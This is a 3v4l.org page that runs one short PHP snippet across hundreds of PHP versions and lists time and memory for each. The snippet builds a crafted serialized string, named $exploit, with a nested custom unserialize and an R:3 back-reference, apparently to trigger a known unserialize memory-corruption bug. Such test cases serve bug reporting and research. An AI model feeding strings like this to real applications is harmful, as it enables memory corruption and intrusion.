3v4l.org

run code in 300+ PHP versions simultaneously
<?php class obj implements Serializable { private $data; public function serialize() { } public function unserialize($data) { $this->data = unserialize($data); // $this->data = 1; } } $inner = 'a:0:{}'; $exploit = 'a:2:{i:0;C:3:"obj":' . strlen($inner) . ':{' . $inner . '}i:1;R:3;}'; $data = unserialize($exploit); var_dump(serialize($data));

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0110.00716.63
8.3.50.0080.01022.05
8.3.40.0040.01118.71
8.3.30.0110.00418.88
8.3.20.0040.00420.30
8.3.10.0040.00423.66
8.3.00.0050.00319.50
8.2.180.0120.00318.29
8.2.170.0100.00722.96
8.2.160.0030.01720.57
8.2.150.0030.00524.18
8.2.140.0000.00724.66
8.2.130.0040.00426.16
8.2.120.0070.00026.16
8.2.110.0060.00322.20
8.2.100.0040.00817.80
8.2.90.0050.00319.14
8.2.80.0030.00517.97
8.2.70.0000.00817.25
8.2.60.0090.00317.93
8.2.50.0060.00318.07
8.2.40.0040.00419.34
8.2.30.0000.00720.51
8.2.20.0070.00017.68
8.2.10.0030.00618.07
8.2.00.0070.00018.05
8.1.280.0120.00925.92
8.1.270.0060.00324.02
8.1.260.0080.00026.35
8.1.250.0080.00028.09
8.1.240.0090.00022.53
8.1.230.0040.00817.76
8.1.220.0040.00417.79
8.1.210.0040.00418.77
8.1.200.0030.00617.35
8.1.190.0000.00817.35
8.1.180.0040.00418.10
8.1.170.0090.00318.55
8.1.160.0040.00421.98
8.1.150.0000.00718.86
8.1.140.0000.00819.61
8.1.130.0070.00017.75
8.1.120.0000.00717.34
8.1.110.0050.00317.46
8.1.100.0020.00517.48
8.1.90.0040.00417.45
8.1.80.0050.00217.45
8.1.70.0030.00517.51
8.1.60.0040.00417.50
8.1.50.0040.00417.53
8.1.40.0040.00417.51
8.1.30.0040.00417.60
8.1.20.0040.00417.66
8.1.10.0000.00817.59
8.1.00.0040.00417.33
8.0.300.0060.00318.77
8.0.290.0080.00016.75
8.0.280.0030.00318.46
8.0.270.0080.00017.26
8.0.260.0000.00617.18
8.0.250.0070.00017.00
8.0.240.0080.00017.01
8.0.230.0040.00416.93
8.0.220.0030.00316.95
8.0.210.0050.00316.97
8.0.200.0000.00616.91
8.0.190.0050.00317.00
8.0.180.0000.00717.00
8.0.170.0030.00516.85
8.0.160.0030.00317.00
8.0.150.0000.00716.81
8.0.140.0050.00316.77
8.0.130.0030.00313.44
8.0.120.0030.00616.89
8.0.110.0000.00816.87
8.0.100.0000.00816.79
8.0.90.0080.00017.07
8.0.80.0120.00916.88
8.0.70.0000.00716.81
8.0.60.0070.00016.82
8.0.50.0030.00516.89
8.0.30.0120.00517.13
8.0.20.0070.01217.40
8.0.10.0040.00417.10
8.0.00.0130.00516.83
7.4.330.0000.00515.09
7.4.320.0030.00316.52
7.4.300.0040.00416.50
7.4.290.0000.00816.58
7.4.280.0000.00716.48
7.4.270.0000.00616.62
7.4.260.0020.00516.59
7.4.250.0000.00716.45
7.4.240.0030.00416.55
7.4.230.0040.00416.49
7.4.220.0060.01116.62
7.4.210.0060.00916.58
7.4.200.0000.00716.33
7.4.160.0000.01516.51
7.4.150.0170.00417.40
7.4.140.0070.01217.86
7.4.130.0110.01016.52
7.4.120.0120.00616.60
7.4.110.0100.01316.51
7.4.100.0070.01116.59
7.4.90.0110.00716.43
7.4.80.0140.00319.39
7.4.70.0100.00716.64
7.4.60.0100.00716.42
7.4.50.0060.00316.54
7.4.40.0070.01416.70
7.4.30.0070.01016.37
7.4.00.0100.00815.01
7.3.330.0030.00313.38
7.3.320.0000.00513.37
7.3.310.0000.00716.43
7.3.300.0070.00016.37
7.3.290.0000.00716.31
7.3.280.0140.00216.33
7.3.270.0080.00817.40
7.3.260.0110.00616.60
7.3.250.0100.00816.49
7.3.240.0130.00516.56
7.3.230.0070.01016.50
7.3.210.0130.00316.49
7.3.200.0150.00616.69
7.3.190.0030.01216.70
7.3.180.0070.01116.53
7.3.170.0090.01216.43
7.3.160.0040.01516.70
7.3.120.0080.01014.92
7.3.110.0060.01114.92
7.3.100.0080.00814.90
7.3.90.0050.01214.87
7.3.80.0120.00514.83
7.3.70.0030.00714.86
7.3.60.0030.00914.86
7.3.50.0080.00714.87
7.3.40.0060.00514.88
7.3.30.0080.00814.76
7.3.20.0050.01016.76
7.3.10.0080.00816.57
7.3.00.0070.00916.61
7.2.330.0100.00716.77
7.2.320.0150.00316.54
7.2.310.0070.01016.60
7.2.300.0070.01016.64
7.2.290.0060.01416.42
7.2.250.0090.01015.02
7.2.240.0080.01115.00
7.2.230.0060.00915.16
7.2.220.0040.01114.99
7.2.210.0060.01215.25
7.2.200.0060.00715.11
7.2.190.0040.00915.01
7.2.180.0060.00615.22
7.2.170.0030.01114.88
7.2.160.0040.01115.02
7.2.150.0100.00716.53
7.2.140.0030.01017.00
7.2.130.0030.00716.93
7.2.120.0060.00916.98
7.2.110.0040.01216.78
7.2.100.0090.00616.83
7.2.90.0090.00316.82
7.2.80.0000.01416.96
7.2.70.0090.00616.88
7.2.60.0050.00516.94
7.2.50.0030.00616.90
7.2.40.0000.00916.93
7.2.30.0000.00916.64
7.2.20.0000.01116.88
7.2.10.0060.00916.87
7.2.00.0060.00818.21
7.1.330.0040.01115.91
7.1.320.0070.00615.93
7.1.310.0050.01115.84
7.1.300.0070.00815.53
7.1.290.0060.01015.56
7.1.280.0050.00815.61
7.1.270.0050.00715.81
7.1.260.0050.00615.78
7.1.250.0110.00315.63
7.1.240.0070.00715.70
7.1.230.0070.00415.72
7.1.220.0030.01015.74
7.1.210.0060.00615.68
7.1.200.0070.01015.85
7.1.190.0000.00815.66
7.1.180.0030.00715.41
7.1.170.0000.00815.69
7.1.160.0000.01215.73
7.1.150.0030.01015.60
7.1.140.0070.00315.76
7.1.130.0030.00815.51
7.1.120.0000.01515.70
7.1.110.0090.00316.05
7.1.100.0030.01117.01
7.1.90.0040.00815.76
7.1.80.0000.01415.80
7.1.70.0080.00316.46
7.1.60.0080.00917.51
7.1.50.0110.00716.34
7.1.40.0100.00315.77
7.1.30.0080.00315.55
7.1.20.0060.00615.47
7.1.10.0030.00515.78
7.1.00.0030.04519.08
7.0.330.0060.00315.20
7.0.320.0030.00515.23
7.0.310.0030.00715.33
7.0.300.0030.01215.42
7.0.290.0040.00815.45
7.0.280.0030.00915.57
7.0.270.0120.00315.25
7.0.260.0030.00515.46
7.0.250.0110.00415.44
7.0.240.0060.00615.52
7.0.230.0080.00415.39
7.0.220.0000.00915.53
7.0.210.0080.00015.60
7.0.200.0200.00914.95
7.0.190.0060.00615.25
7.0.180.0130.00015.39
7.0.170.0070.00315.61
7.0.160.0000.01215.59
7.0.150.0040.00415.59
7.0.140.0070.01115.39
7.0.130.0090.00015.59
7.0.120.0030.01015.43
7.0.110.0040.00715.59
7.0.100.0090.00615.56
7.0.90.0060.01015.10
7.0.80.0070.00715.55
7.0.70.0070.00715.25
7.0.60.0060.02817.66
7.0.50.0100.03516.69
7.0.40.0050.02816.71
7.0.30.0070.04416.69
7.0.20.0130.02416.80
7.0.10.0070.02716.77
7.0.00.0020.02816.80
5.6.400.0040.00714.37
5.6.390.0030.00914.64
5.6.380.0050.00514.01
5.6.370.0120.00314.58
5.6.360.0000.01114.04
5.6.350.0000.00914.58
5.6.340.0040.00814.42
5.6.330.0030.01014.32
5.6.320.0060.00614.27
5.6.310.0080.00014.25
5.6.300.0030.01314.11
5.6.290.0030.01414.41
5.6.280.0050.04317.66
5.6.270.0000.01014.32
5.6.260.0030.01314.40
5.6.250.0070.01014.19
5.6.240.0030.01014.18
5.6.230.0080.00414.40
5.6.220.0090.00614.43
5.6.210.0110.04017.54
5.6.200.0060.04616.29
5.6.190.0050.02517.33
5.6.180.0120.04517.54
5.6.170.0150.03917.48
5.6.160.0050.04617.47
5.6.150.0040.04416.13
5.6.140.0070.02816.17
5.6.130.0080.04516.27
5.6.120.0080.04317.71
5.6.110.0070.03417.74
5.6.100.0130.03717.67
5.6.90.0030.02717.67
5.6.80.0080.04017.23
5.6.70.0040.01114.20
5.6.60.0060.01014.48
5.6.50.0040.00714.29
5.6.40.0050.00514.25
5.6.30.0060.00614.05
5.6.20.0090.00314.32
5.6.10.0040.00414.07
5.6.00.0070.00714.30
5.5.380.0030.01014.29
5.5.370.0030.01014.23
5.5.360.0030.00614.30
5.5.350.2170.02617.17
5.5.340.0030.04416.18
5.5.330.0050.04817.17
5.5.320.0120.02817.41
5.5.310.0140.04717.18
5.5.300.0070.02216.13
5.5.290.0090.04315.97
5.5.280.0080.04717.54
5.5.270.0090.02817.60
5.5.260.0080.04517.65
5.5.250.0030.04417.25
5.5.240.0120.03917.16
5.5.230.0030.01614.40
5.5.220.0060.01214.34
5.5.210.0080.00014.23
5.5.200.0060.00614.05
5.5.190.0000.00814.21
5.5.180.0030.01014.14
5.5.170.0030.01014.10
5.5.160.0060.00914.04
5.5.150.0000.00914.11
5.5.140.0070.00314.26
5.5.130.0030.01014.36
5.5.120.0120.00314.00
5.5.110.0110.00314.08
5.5.100.0040.00814.34
5.5.90.0100.00013.75
5.5.80.0030.01014.23
5.5.70.0070.00413.92
5.5.60.0060.00914.40
5.5.50.0080.00613.87
5.5.40.0060.00913.82
5.5.30.0040.01114.16
5.5.20.0030.01014.13
5.5.10.0070.01013.96
5.5.00.0000.01313.73

preferences:
40.18 ms | 401 KiB | 5 Q